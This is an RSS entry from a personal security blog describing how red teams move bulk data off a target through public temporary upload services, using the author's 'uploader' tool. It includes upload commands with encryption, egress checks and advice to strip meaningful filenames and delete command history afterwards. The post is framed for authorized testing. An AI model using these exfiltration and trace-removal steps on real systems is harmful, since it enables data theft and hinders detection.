<rss xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title>Uploader - Tag - Simon's Blog</title><link>https://blog.leeissonba.com/en/tags/uploader/</link><description>Uploader - Tag - Simon's Blog</description><generator>Hugo -- gohugo.io</generator><language>en</language><managingEditor>leeissonba@gmail.com (Simon)</managingEditor><webMaster>leeissonba@gmail.com (Simon)</webMaster><copyright>Simon</copyright><lastBuildDate>Thu, 16 Jul 2026 23:16:00 +0800</lastBuildDate><atom:link href="https://blog.leeissonba.com/en/tags/uploader/" rel="self" type="application/rss+xml"/><item><title>Large File Transfer over C2: Separating the Data Channel with Cloud Uploads</title><link>https://blog.leeissonba.com/en/c2-large-file-exfil-via-cloud-upload/</link><pubDate>Thu, 16 Jul 2026 23:16:00 +0800</pubDate><author>leeissonba@gmail.com (Simon)</author><guid>https://blog.leeissonba.com/en/c2-large-file-exfil-via-cloud-upload/</guid><description><![CDATA[<div class="featured-image">
                <img src="https://blog.leeissonba.com/images/posts/c2-large-file-exfil-via-cloud-upload/featured.jpg" alt="Large File Transfer over C2: Separating the Data Channel with Cloud Uploads" referrerpolicy="no-referrer">
            </div><p>C2 is designed for command control and lightweight interaction, not sustained large-file transfers. During authorized testing, bulk traffic can be moved to a temporary cloud upload service while C2 only sends commands and returns download links.</p>
<div class="details admonition warning open">
    <div class="details-summary admonition-title">
        <i class="icon fas fa-exclamation" aria-hidden="true"></i>Disclaimer<i class="details-icon fas fa-angle-right" aria-hidden="true"></i>
    </div>
    <div class="details-content">
        <div class="admonition-content">For authorized penetration testing and research only. Do not use this against systems you do not have permission to test.</div>
    </div>
</div>
<h2 id="1-why-separate-the-data-channel">1. Why separate the data channel</h2>
<p>Directly downloading large files over C2 creates four problems:</p>
<ul>
<li><strong>Bandwidth contention</strong>: bulk transfers block command interaction and heartbeats.</li>
<li><strong>Reliability</strong>: sleep, jitter, timeouts, and weak resume support increase retransmission cost.</li>
<li><strong>Path overhead</strong>: encoding, chunking, pivots, SOCKS, and multiple hops add traffic, latency, and failure points.</li>
<li><strong>Infrastructure exposure</strong>: sustained high-volume traffic converges on the C2 server and affects other sessions on a shared Team Server.</li>
</ul>
<p>The separated flow is:</p>
<ol>
<li>Stage files or directories on the target</li>
<li>Upload from the target to a temporary storage service reachable from the current network</li>
<li>Return the download link over C2</li>
<li>Download the file from a separate testing environment</li>
</ol>
<p>Control traffic stays on C2; large-file traffic follows target → upload service.</p>
<h2 id="2-how-uploader-handles-the-transfer">2. How Uploader handles the transfer</h2>
<p><a href="https://github.com/simonlee-hello/uploader" target="_blank" rel="noopener noreffer ">Uploader</a> implements the multi-backend approach introduced by <a href="https://github.com/Mikubill/transfer" target="_blank" rel="noopener noreffer ">Mikubill/transfer</a>. Its main functions are:</p>
<ul>
<li><code>backends</code>: list backends, size limits, status, and URLs.</li>
<li><code>probe</code>: test reachability and latency from the current network.</li>
<li>Automatic mode: filter backends by payload size, probe and sort by latency, then fail over on errors.</li>
<li>Size preflight: reject a file or estimated directory size that exceeds a backend limit.</li>
<li>Directory handling: create a temporary Deflate ZIP by default and remove it after upload; <code>-r</code> uploads files individually.</li>
<li>Encryption: <code>-e -k</code> uses AES-256-CBC with a <code>UP01</code> header, random IV, and ciphertext.</li>
<li>Script-friendly output: <code>-q</code> writes only the successful link to stdout and errors to stderr.</li>
</ul>
<p>Backend availability changes with both the service and the network. Treat <code>uploader probe</code> as the runtime source of truth.</p>
<h2 id="3-command-examples">3. Command examples</h2>
<figure><a class="lightgallery" href="/images/posts/c2-large-file-exfil-via-cloud-upload/uploader-demo.gif" title="/images/posts/c2-large-file-exfil-via-cloud-upload/uploader-demo.gif" data-thumbnail="/images/posts/c2-large-file-exfil-via-cloud-upload/uploader-demo.gif" data-sub-html="<h2>Uploader demo: backends / probe / upload / quiet mode / encrypt</h2>">
        <img src="https://blog.leeissonba.com/images/posts/c2-large-file-exfil-via-cloud-upload/uploader-demo.gif" alt="" referrerpolicy="no-referrer">
    </a><figcaption class="image-caption">Uploader demo: backends / probe / upload / quiet mode / encrypt</figcaption>
    </figure>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-bash">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="Copy to clipboard"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">uploader -q ./evidence</span></span></code></pre></div></div>
<p>Without <code>-b</code>, the sequence is: size filter → probe → latency order → failover. Directories are packed first; success prints one download link.</p>
<div class="code-block code-line-numbers" style="counter-reset: code-block 0">
    <div class="code-header language-bash">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="Copy to clipboard"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># Pin lit</span>
</span></span><span class="line"><span class="cl">uploader -q -b lit ./dump.zip
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Prefer lit but allow failover</span>
</span></span><span class="line"><span class="cl">uploader -q -b lit -auto ./dump.zip
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Upload directory files individually</span>
</span></span><span class="line"><span class="cl">uploader -q -r ./dir
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Encrypt before upload</span>
</span></span><span class="line"><span class="cl">uploader -q -e -k <span class="s1">&#39;your-key&#39;</span> ./secret.bin</span></span></code></pre></div></div>
<p>List and probe backends:</p>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-bash">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="Copy to clipboard"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">uploader backends
</span></span><span class="line"><span class="cl">uploader probe
</span></span><span class="line"><span class="cl">uploader probe temp lit gof -timeout <span class="m">20</span></span></span></code></pre></div></div>
<p>Exit codes are <code>0</code> for success, <code>1</code> for upload or configuration failure, and <code>2</code> for invalid arguments. <code>-keep</code> waits for keyboard input and is unsuitable for headless execution.</p>
<h2 id="4-limitations-and-checks">4. Limitations and checks</h2>
<ol>
<li>Confirm target egress, proxy, allowlists, and TLS inspection policy, then validate the path with a small file.</li>
<li>Public upload services may log sources, scan content, and enforce file-type, capacity, and retention limits. Confirm engagement requirements before use.</li>
<li>Directory mode writes a temporary ZIP to disk. Use <code>-r</code> or another transfer method if staging is not allowed.</li>
<li>AES-256-CBC provides content confidentiality only; it does not replace integrity verification or key management.</li>
<li>Filenames can disclose context. Use names without business meaning.</li>
<li>After download, remove temporary files, the binary, and command history, and retrieve data before the link expires.</li>
</ol>]]></description></item></channel></rss>